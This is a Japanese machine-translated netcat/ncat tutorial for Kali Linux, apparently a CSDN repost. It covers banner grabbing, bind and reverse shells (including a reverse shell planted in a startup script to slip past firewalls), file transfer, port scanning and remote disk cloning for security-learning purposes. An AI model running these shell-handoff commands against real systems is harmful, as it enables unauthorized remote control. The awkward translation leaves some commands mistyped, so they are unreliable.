kailチュートリアル(7)-基本的なツール(nc、ncat)

一般的なツール

頻繁に使用され、強力で、セキュリティ専門家にとって不可欠なヘルパーです。

NC / NCAT

ネットワークツールのスイスアーミーナイフです。特徴:小型で強力な機能。
クロスプラットフォーム、WindowsとLinuxがあります。
できること:

  • telnet /バナー情報を取得:NCはtelnetよりも強力です
  • テキスト情報を送信する:例:チャットツールとして使用できます
  • ファイル/ディレクトリを転送する
  • 暗号化された送信ファイル:デフォルトの送信テキストファイルは暗号化されていません
  • リモートコントロール/トロイの木馬
  • すべてのトラフィックを暗号化する
  • ストリーミングサーバー
  • リモートクローンハードドライブ
1.NC——telnet /バナー

1.ターゲットポートにtelnetで接続し、相手のサービスに接続するためのコマンドを送信できます。
ncは、クライアントまたはサーバーとして使用できます。クライアントとして、彼は他のサーバーのサービスポートに接続して、サービスポートから送信されたコマンドを検出できます。

 常用语法: nc -nv ip 端口
  -eg:nc -nv 1.1.1.1 80

nc -h  #可以查看参数的使用

ここに画像の説明を挿入

-v:詳細な接続出力を表示します。
-n:後にIPアドレスが続き、その後にドメイン名が続く場合、-nパラメータはドメイン名の解決を実行しません。したがって、ドメイン名と話すことは推奨されません。

例1:163サーバー

クライアントとして、pop3.163.comメールボックスに接続します
。1。ドメイン名解決、IPアドレスを取得します
ここに画像の説明を挿入
。2。コマンド
pop3はポート110であるため、コマンドは次のとおりです。

nc -vn 123.126.97.79 110

ここに画像の説明を挿入
分析情報:
実行手順には、ncの最初の役割を反映できます。サーバーポートに接続した後、サーバーに関連するバナー情報が表示されます。この接続を介して、サーバーアドレスの110ポートが開いており、 "Welcome to…"が返されていることがわかります。この情報分析の行から、163メールサーバーがcoremail(coremailによって実装されたメールサービス)を使用していることがわかります。

ここに画像の説明を挿入
分析情報:
コアメールシステムの特別なスパム対策ゲートウェイである163smtpサーバーのバナー情報を返します。


例2:httpサーバー

ここに画像の説明を挿入

2.NC——テキスト情報を送信する

例:2つのサーバーがチャットしています。
対話するために2つのサーバーが必要な場合は、リッスン用のポートを開くためにサーバーの1つが必要です。別のサーバーがそのポートに接続するクライアントとして機能します。
A:nc -l -pポート番号
B:nc -nv ipポート
ここに画像の説明を挿入
接続は一方の端で終了し、両端が同時に終了します。


リモート電子フォレンジックに適しています。

電子フォレンジックの原則があります。コンピューターが問題の疑いがある場合は、コンピューター内のファイルの内容を最小限に抑えるか、変更しないように監査して、収集できる証拠が破壊されないようにする必要があります。
ここに画像の説明を挿入
ここに画像の説明を挿入
-q:コマンドの実行後、一定の時間遅延後に切断するためにコマンドを終了します。接続が自動的に切断されない場合、コマンドが完了したかどうかは不明です。

3.NC——リモートコントロール

リモート制御を実現するためにsshをある程度置き換えることしかできませんが、完全に置き換えることはできません。
双方向制御を実現できます。
QQデスクトップリモートコントロールと同様に理解できます。
**注:** Kailを使用してWindowsを制御します。Windowsにncをインストールできます。Windowsユーザーは、コマンドでbashをcmdに変更します。

進む

クライアントはサーバーのシェル権限を取得します。

#服务端:
A:nc -lp 端口 -c bash  #一旦别人用nc连接我,我会将bash shell通过nc的建立传给对方。
#客户端
B:nc -nv 服务端ip 端口

ここに画像の説明を挿入
左側のB lsにリストされているファイルは、右側のA仮想マシンのコンテンツです。これは、A仮想マシンのリモートコントロールに相当します。仮想マシンBは、仮想マシンAのシェル権限を取得しています。

サーバーはクライアントのシェル権限を取得します。

#服务器
A:nc -lp 端口
#客户端
B:nc -vn 服务器ip  端口 -c bash

ここに画像の説明を挿入
Bはnc、pwdなどのコマンドをnc接続状態で入力し、何も起こらないAがこれらの指示で取得したBの情報を入力する現在、AはBのシェル権限を取得しています。

通常の状況下:Bは、サービスを実行するためにIDCコンピュータールームに配置されたサーバーであると仮定します。ファイアウォールは、通常、IDCコンピュータールームの境界に配置されます。ファイアウォールは、奇妙なポートを開かず、Aの仮想マシンにマップし、外部のユーザーを許可します彼が接続すると、IDCコンピュータルームのサーバーは、開いているポートを除いて、外部から内部への残りのアクセストラフィックをフィルタリングし、トラフィックは境界ファイアウォールでブロックされます。
ジュニアネットワーク管理者の場合:
現時点ではフォワード接続を使用することは現実的はありません。現時点では、リバース接続を使用できます。ペネトレーションテスターが使用する攻撃者Aは、ポートを開いてアクティブに待機し、Bのサービス起動スクリプトを渡しますシステムBが再起動されるたびに、攻撃者AのIPアドレスにアクティブに接続します。接続後、Bは攻撃者Aにシェルをアクティブに引き渡します。この状況は達成しやすくなります。ネットワーク管理者がフロー制御を完全に制限しないためです。
セキュリティ意識が高いネットワーク管理者の
場合トラフィックの大部分を完全に禁止する場合もあります。ただし、Bは特定のポートを開いている必要があります。たとえば、ポート53が開かれている場合、Aはポート53を開いてポート53をリッスンできるため、境界ファイアウォールはこのアクセス動作をフィルタリングしません。
セキュリティが非常に得意なネットワーク管理
にとって、彼はイントラネットサーバーグループのサーバーで、自分のDNFサーバーとして機能する場合があります。乗り越えるのは本当に難しいです。

4.NC——NCAT

ncのすべての機能はncatによって実現できます。
NCの欠点:

  • NCによって送信されるすべてのデータトラフィックは暗号化されておらず、暗号化機能がありません。嗅ぎやすい。
  • ポートを開くと、他の人が使用します。身元確認機能の欠如は、ユーザーの身元を判断することはできません。

NCATはこれらの欠点を補うためのものであり、nmapツールキットの1つであるnmapツールキットに含まれています。


ncatを使用してパイプライン暗号化を実現します。内部のデータがプレーンテキストかどうかに関係なく、パイプ自体が暗号化されているため、誰かがパケットを取得したときに表示されるデータは暗号化されます。

#服务端
ncat -c bash --allow 客户端ip  -vnl 端口  --ssl
#服务端
ncat -v 服务端ip  端口 --ssl

ここに画像の説明を挿入
sslの指紋情報は、接続が確立されるたびに異なります。


ここに画像の説明を挿入
右の仮想マシンは、ip 118の仮想マシンにのみ接続を許可しますが、現時点では左の仮想マシンのipは119であり、入出力エラーを報告し、右の仮想マシンは認証され、接続が許可されないことを通知します。

異なるプラットフォームのncパラメータ機能は、バージョンによって異なることに注意してください。

4.NC——ファイル/ディレクトリの転送

ファイルを転送する:

#接收端打开端口
A:nc -lp 侦听端口 >文件名  #>,输出;侦听该端口侦听到的内容输出到文件名中
#发送端
B:nc -nv ip 端口< 文件名 -q 1  #<,将要传递的文件、文件名输入到nc的连接远端的端口里#传输端打开端口
A:nc  -lp 端口 < 文件名 -q 1
#接收端
B: nc -nv ip 端口> 文件名

1つはポートを開いて他の人がファイルを転送するのを待つことであり、もう1つはポートを開いて他の人がファイルを受け入れるのを待つことです。


カタログの転送

A:tar -cvf -  要打包的文件/ | nv -lp 端口 -q 1 #将打包的文件的输入作为后面文件的输出
B: nc -nv ip 端口 | tar -xvf -  #对收到的文件解包

暗号化されたファイル転送

#接收端开放端口
A:nc -lp 端口|mcrypt --flush -Fbqd -a rijndael-256-m ecb >文件名  #侦听端口,将收到的文件解密输出
B: mcrypt --flush -Fbq -a rijndael-256-m ecb < 文件名 |nc -nv 接收端ip 端口 -q 1 #将文件加密输出

ここに画像の説明を挿入
彼はnc自体の暗号化機能ではなく、オペレーティングシステムのmcryptコマンドを使用した暗号化です。
デフォルトのmailコマンドはkailにインストールされていません。自分でインストールする必要があります。

apt-get install mcrypt #安装mcrypt命令
5.NC——ストリーミングメディアサービス
A:cat 文件名 | nc -lp 侦听端口 #以流的形式输出到B端
B:nc -nv ip 端口 | mplayer -vo xll -cache 3000 -  #将流的内容给媒体播放器,接收一点播放一点,默认缓存大小是3000

mplayerコマンドはデフォルトではインストールされないため、インストールする必要があります。
保存されたファイルのコンテンツはローカルで生成されません。

6.NC——ポートスキャン
nc -nvz ip 1-65535(可以改变端口区间)
nc -nvzu ip 1-65535(可以改变端口区间)

デフォルトでは、ncはtcpプロトコルを使用するため、tcpポートが検出された場合。udpポートを検出する場合は、2番目のコマンドを使用できます。
各スキャナーによってスキャンされた情報は必ずしも正確ではありません。取得するデータが比較的正確になるように、スキャンにはいくつかの方法を使用することをお勧めします。

7.NCリモートクローンハードドライブ

リモート電子フォレンジックの場合、ターゲットサーバーのハードディスクをリモートでコピーするか、メモリをコピーできます。

#接收端开放端口
A:nc -lp 开放端口 | dd -of=/dev/sda
B:dd if=/dev/sda |nc -nv ip 端口 -q 1
元の記事を28件公開 Likes0 Visits 900

おすすめ

転載: blog.csdn.net/weixin_43876557/article/details/104522343